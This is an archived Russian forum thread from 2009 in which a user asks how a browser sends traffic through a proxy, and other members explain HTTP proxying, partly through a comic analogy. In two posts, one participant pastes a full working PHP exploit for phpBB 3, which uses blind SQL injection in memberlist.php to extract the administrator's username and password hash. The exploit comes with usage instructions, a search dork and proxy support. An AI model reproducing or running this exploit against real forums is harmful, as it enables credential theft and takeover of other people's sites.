Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Прочее";
Текущий архив: 2009.06.28;
Скачать: [xml.tar.bz2];

Вниз

Как браузер узнаёт что нужно пройти через proxy?   Найти похожие ветки 

 
Интересующийся   (2009-04-20 21:09) [0]

Если в настройках браузера указать прокси, то как браузер заставляет пакеты идти через прокси-сервер? Насколько я понимаю в IP-пакете только один заголовок в котором указывается адрес отправителя (кмпьютера откуда отправляют) и адрес получателя (сайта на который нужно попасть) с номерами их портов, но если такой пакет идёт в сеть, то как же он попадает на прокси-сервер, который заменит IP-адрес отправителя на свой? Ведь в пакете ничего про проксине указано...


 
Zeqfreed ©   (2009-04-20 21:26) [1]

http://en.wikipedia.org/wiki/SOCKS#Comparison_between_SOCKS_and_HTTP_proxies


 
Сергей М. ©   (2009-04-20 21:29) [2]


> Если в настройках браузера указать прокси, то как браузер
> заставляет пакеты идти через прокси-сервер?


Он не "заставляет", он просто посылает соответсвующие запросы прокси-серверу..


 
wp2   (2009-04-20 21:49) [3]

вот эксплоит (на РНР) который может работать через прокси
#!/usr/local/bin/php -q -d short_open_tag=on
<?
echo "PhpBB 3 memberlist.php/"ip" argument SQL injection / admin credentials disclosure\n";
echo "by Prohax a@prohax.net.tc\n";
echo "site: http://h4cky0u.org\n";
echo "dork, version specific: Powered by phpBB * 2002, 2006 phpBB Group\n";

/*
works regardless of php.ini settings
you need a global moderator account with "simple moderator" role
*/

if ($argc<5) {
   echo "Usage: php ".$argv[0]." host path user pass OPTIONS\n";
   echo "host: target server (ip/hostname)\n";
   echo "path: path to phpbb3\n";
   echo "user/pass: u need a valid user account with global moderator rights\n";
   echo "Options:\n";
   echo " -T[prefix] specify a table prefix different from default (phpbb_)\n";
   echo " -p[port]: specify a port other than 80\n";
   echo " -P[ip:port]: specify a proxy\n";
   echo " -u[number]: specify a user id other than 2 (admin)\n";
   echo " -x: disclose table prefix through error messages\n";
   echo "Example:\n";
   echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u\r\n";
   echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u -TPHPBB_ -u7\n";
   die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
   $result="";$exa="";$cont=0;
   for ($i=0; $i<=strlen($string)-1; $i++)
   {
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
   }
   return $exa."\r\n".$result;
}
$proxy_regex = "(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)";
function sendpacketii($packet)
{
   global $proxy, $host, $port, $html, $proxy_regex;
   if ($proxy=="") {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
    echo "No response from ".$host.":".$port; die;
}
   }
   else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
    echo "Not a valid proxy...";die;
}
$parts=explode(":",$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
    echo "No response from proxy...";die;
}
   }
   fputs($ock,$packet);
   if ($proxy=="") {
$html="";
while (!feof($ock)) {
    $html.=fgets($ock);
}
   }
   else {
$html="";
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
$html.=fread($ock,1);
   }
}
fclose($ock);

#debug
#echo "\r\n".$html;



 
Интересующийся   (2009-04-20 21:49) [4]

какие именно запросы? И какие ответы приходят от прокси-сервера?


 
wp2   (2009-04-20 21:49) [5]

продолжение:


$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$port=80;
$prefix="PHPBB_";
$user_id="2";//admin
$discl=0;
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
   $temp=$argv[$i][0].$argv[$i][1];
   if ($temp=="-p")
   {
$port=str_replace("-p","",$argv[$i]);
   }
   if ($temp=="-P")
   {
$proxy=str_replace("-P","",$argv[$i]);
   }
   if ($temp=="-T")
   {
$prefix=str_replace("-T","",$argv[$i]);
   }
   if ($temp=="-u")
   {
$user_id=str_replace("-u","",$argv[$i]);
   }
   if ($temp=="-x")
   {
$discl=1;
   }
}

if (($path[0]<>"/") or ($path[strlen($path)-1]<>"/")) {echo "Error... check the path!"; die;}
if ($proxy=="") {$p=$path;} else {$p="http://".$host.":".$port.$path;}

$data="username=".urlencode($user);
$data.="&password=".urlencode($pass);
$data.="&redirect=index.php";
$data.="&login=Login";
$packet="POST ".$p."ucp.php?mode=login HTTP/1.0\r\n";
$packet.="Referer: http://$host$path/ucp.php?mode=login\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$cookie="";
$temp=explode("Set-Cookie: ",$html);
for ($i=1; $i<=count($temp)-1; $i++)
{
   $temp2=explode(" ",$temp[$i]);
   $cookie.=" ".$temp2[0];
}
if (eregi("_u=1;",$cookie))
{
   //echo $html."n";//debug
   //die("Unable to login...");
}
echo "cookie -> ".$cookie."\r\n";
if ($discl)
{
   $sql=""suntzuuuuu";
   echo "sql -> ".$sql."\n";
   $sql=urlencode(strtoupper($sql));
   $data="username=";
   $data.="&icq=";
   $data.="&email=";
   $data.="&aim=";
   $data.="&joined_select=lt";
   $data.="&joined=";
   $data.="&yahoo=";
   $data.="&active_select=lt";
   $data.="&active=";
   $data.="&msn=";
   $data.="&count_select=eq";
   $data.="&count=";
   $data.="&jabber=";
   $data.="&sk=c";
   $data.="&sd=a";
   $data.="&ip=".$sql;
   $data.="&search_group_id=0";
   $data.="&submit=Search";
   $packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a &ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";
   $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
   $packet.="Host: ".$host."\r\n";
   $packet.="Content-Length: ".strlen($data)."\r\n";
   $packet.="Connection: Close\r\n";
   $packet.="Cookie: ".$cookie." \r\n\r\n";
   $packet.=$data;
   sendpacketii($packet);
   if (strstr($html,"You have an error in your SQL syntax"))
   {
$temp=explode("posts",$html);
$temp2=explode(" ",$temp[0]);
$prefix=strtoupper($temp2[count($temp2)-1]);
echo "prefix -> ".$prefix."\n";sleep(2);
   }
}

$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
//print_r(array_values($md5s));
$j=1;$password="";
while (!strstr($password,chr(0)))
{
   for ($i=0; $i<=255; $i++)
   {
if (in_array($i,$md5s))
{
    $sql="1.1.1.999") UNION SELECT IF ((ASCII(SUBSTRING(USER_PASSWORD,".$j.",1))=$i),$user_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ("1.1.1.999";
    echo "sql -> ".$sql."\n";
    $sql=urlencode(strtoupper($sql));
    $data="username=";
    $data.="&icq=";
    $data.="&email=";
    $data.="&aim=";
    $data.="&joined_select=lt";
    $data.="&joined=";
    $data.="&yahoo=";
    $data.="&active_select=lt";
    $data.="&active=";
    $data.="&msn=";
    $data.="&count_select=eq";
    $data.="&count=";
    $data.="&jabber=";
    $data.="&sk=c";
    $data.="&sd=a";
    $data.="&ip=".$sql;
    $data.="&search_group_id=0";
    $data.="&submit=Search";
    $packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a &ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Connection: Close\r\n";
    $packet.="Cookie: ".$cookie." \r\n\r\n";
    $packet.=$data;
    sendpacketii($packet);
    if (!strstr($html,"No members found for this search criteria")) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}
}
if ($i==255) {die("Exploit failed...");}
   }
   $j++;
}

$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
   for ($i=0; $i<=255; $i++)
   {
$sql="1.1.1.999") UNION SELECT IF ((ASCII(SUBSTRING(USERNAME,".$j.",1))=$i),$user_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ("1.1.1.999";
echo "sql -> ".$sql."\n";
$sql=urlencode(strtoupper($sql));
$data="username=";
$data.="&icq=";
$data.="&email=";
$data.="&aim=";
$data.="&joined_select=lt";
$data.="&joined=";
$data.="&yahoo=";
$data.="&active_select=lt";
$data.="&active=";
$data.="&msn=";
$data.="&count_select=eq";
$data.="&count=";
$data.="&jabber=";
$data.="&sk=c";
$data.="&sd=a";
$data.="&ip=".$sql;
$data.="&search_group_id=0";
$data.="&submit=Search";
$packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a &ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: ".$cookie." \r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (!strstr($html,"No members found for this search criteria")) {$admin.=chr($i);echo "password -> ".$admin."[???]\r\n";sleep(2);break;}
   }
   if ($i==255) {die("Exploit failed...");}
   $j++;
}
echo "--------------------------------------------------------------------rn";
echo "admin -> ".$admin."\r\n";
echo "password (md5) -> ".$password."\r\n";
echo "--------------------------------------------------------------------rn";

function is_hash($hash)
{
   if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
   else {return false;}
}

if (is_hash($password)) {echo "Exploit succeeded";}
else {echo "Exploit failed.";}
?>


 
Сергей М. ©   (2009-04-20 21:57) [6]


> Интересующийся   (20.04.09 21:49) [4]


А ты что, не в состоянии САМ посмотреть ?


 
Интересующийся   (2009-04-20 22:01) [7]

где посмотреть? Только на русском если есть..., я сколько не искал, так ничего и не нашёл


 
Сергей М. ©   (2009-04-20 22:10) [8]


> Только на русском если есть


Чавой-то ?
На каком таком "русском" ?


 
Интересующийся   (2009-04-20 22:13) [9]


> На каком таком "русском" ?

ты пишешь сейчас на нём, русский язык называется


 
Интересующийся   (2009-04-20 22:15) [10]

во всех статьях, которые мне попадаются написано, что вы можете соединиться через прокси-сервер так-то и так-то и для чего это вообще нужно. Но не попалась ни одна статья, в которой было бы описано, как происходит само соединение на уровне пакетов.


 
vrem   (2009-04-20 22:18) [11]

как я понял маститые ники говорят, что браузер считает что интернет это и есть прокси-сервер, а прокси уже отправляет дальше пакеты


 
Интересующийся   (2009-04-20 22:22) [12]

каккие ещё маститые ники? Я не пойму, браузер ведь формирует пакет с IP-адресом назначения, то есть сайтом, скажем www.delphimaster.ru и IP-адресом отправителя, скажем 212.212.212.212 но как пакет узнаёт что надо пройти через прокси, если в пакете нет никакой информации о IP-адресе прокси-сервера, или там два порта назначения? Если же там в поле назначения адрес прокси сервера, то как тогда пакет доходит до сайта, если там нет его адреса?


 
Сергей М. ©   (2009-04-20 22:24) [13]


> Интересующийся   (20.04.09 22:01) [7]


Ты очумел ?
Причем здесь я ?)
Ты в Гугле смотри)..


 
Сергей М. ©   (2009-04-20 22:26) [14]


> браузер ведь формирует пакет


Какой такой "пакет" ?
ты о каких таких пакетах ведешь речь ?


 
blackman ©   (2009-04-20 22:28) [15]

Proxy-серверы
http://articles.org.ru/cn/showdetail.php?cid=7770


 
Сергей М. ©   (2009-04-20 22:29) [16]


> браузер ведь формирует пакет


Браузер никакие "пакеты" вообще не формирует.
За формирование пакетов, если речь идет об IP? отвечает соотв. уровень TCP/IP-стека системы, под упр. котрой работает браузер.


 
Сергей М. ©   (2009-04-20 22:30) [17]


> Интересующийся


Ты про модель OSI хоть что-нибудь слыхал ?


 
Интересующийся   (2009-04-20 22:32) [18]


> Ты в Гугле смотри)..

вот в гугле как раз-таки и смотрю, но пока ничего не нашёл из того, что меня интересует.

> ты о каких таких пакетах ведешь речь ?

TCP-сегмент, IP-датаграммы


 
Интересующийся   (2009-04-20 22:35) [19]


> Ты про модель OSI хоть что-нибудь слыхал ?

вот про неё я и говорю :)
Ну ладно переформулирую свой вопрос, как пакеты идут через прокси сервер, а потом к сайту, где именно указывается что надо пройти через прокси в каком уровне TCP/IP-стека? Та добавляется новый заголовок или что?


 
Сергей М. ©   (2009-04-20 22:36) [20]


> Если в настройках браузера указать прокси


В настройках даже самого примитивного браузера фигурирует туева хуча всякоразных прокси - HTTP, SSL aka HTTPS, FTP, Gopher, Socks e.t.c..

Ты о каком ?
Или тебе фиолетово ?)


 
Интересующийся   (2009-04-20 22:46) [21]

в общем :)
там у меня 5 основных: HTTP, Secure, FTP, Gopher, Socks, про все интересно, но больше интересно про HTTP


 
Сергей М. ©   (2009-04-20 22:56) [22]

К: Клиент (Кузьмич)
П: Прокси-сервер (Петрович, посредник между Кузьмичем и Степанычем)
С: Сервер (Степаныч)

Сцена намбер ван, в которой Кузьмич обращается напрямую к Степанычу:

К->C: -Водку пить будешь ?
С->К: - Водку ? Буду !

Сцена намбер ту, в которой Кузьмич обращается к Петровичу с просьбой договориться со Степанычем:

К->П: - Спроси у Степаныча, он будет пить водку ?
П->К: - Щас..
П->C: - Водку пить будешь ?
C->П: - Водку ? Буду !
П->K: - Спросил .. Сказал что будет !


 
Интересующийся   (2009-04-20 23:06) [23]


> К->П: - Спроси у Степаныча, он будет пить водку ?

а как это происходит на физическом уровне?
Какой запрос посылает Кузьмич Петровичу?
Эта сцена мне и так понятна, но как Петрович узнаёт что именно со Степанычем нужно ему связаться? В каком пакете Кузьмич сообщил об этом Петровичу?


 
Итого   (2009-04-20 23:15) [24]


> Я не пойму, браузер ведь формирует пакет с IP-адресом назначения,
>  то есть сайтом, скажем www.delphimaster.ru

Если в настройках браузера указан прокси, то пакет отсылается не на IP конечного сайта, а на IP прокси сервера.


 
Итого   (2009-04-20 23:18) [25]


> но как Петрович узнаёт что именно со Степанычем нужно ему
> связаться

Из поля URL HTTP пакета


 
Anatoly Podgoretsky ©   (2009-04-20 23:19) [26]

При HTTP ни о каком общение и речи не идет, все заканчивается на прокси.


 
Интересующийся   (2009-04-20 23:28) [27]

и как я понимаю, если прокси анонимный, то он подменяет поле отправителя в HTTP пакете на свой адрес прокси? И сайт никак не узнает кто настоящий отправитель? Или подменяет IP-адрес отправителя только в протоколах передачи пакета и настоящий IP-адрес отправителя можно узнать из поля отправителя HTTP-пакета?


 
Итого   (2009-04-20 23:38) [28]

В HTTP пакетах нет поля отправителя.


 
Интересующийся   (2009-04-20 23:40) [29]

большое спасибо за объяснения


 
AIRDIGER ©   (2009-04-21 02:20) [30]


> Интересующийся   (20.04.09 21:09) 


> Если в настройках браузера указать прокси, то как браузер
> заставляет пакеты идти через прокси-сервер?


Имхо.. Посредством телепатии однако....



Страницы: 1 вся ветка

Форум: "Прочее";
Текущий архив: 2009.06.28;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.55 MB
Время: 0.006 c
15-1240390178
31512
2009-04-22 12:49
2009.06.28
Помогите с batаникой


15-1240688152
Паша
2009-04-25 23:35
2009.06.28
Из какого Дума музыка? А, может, у вас mp3 есть?


15-1240512847
leonidus
2009-04-23 22:54
2009.06.28
Гибридный компонент для отображения текста


2-1241544934
DmitriyR
2009-05-05 21:35
2009.06.28
Перевести String в LongWord


15-1240580067
мученик
2009-04-24 17:34
2009.06.28
php и файлы..





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский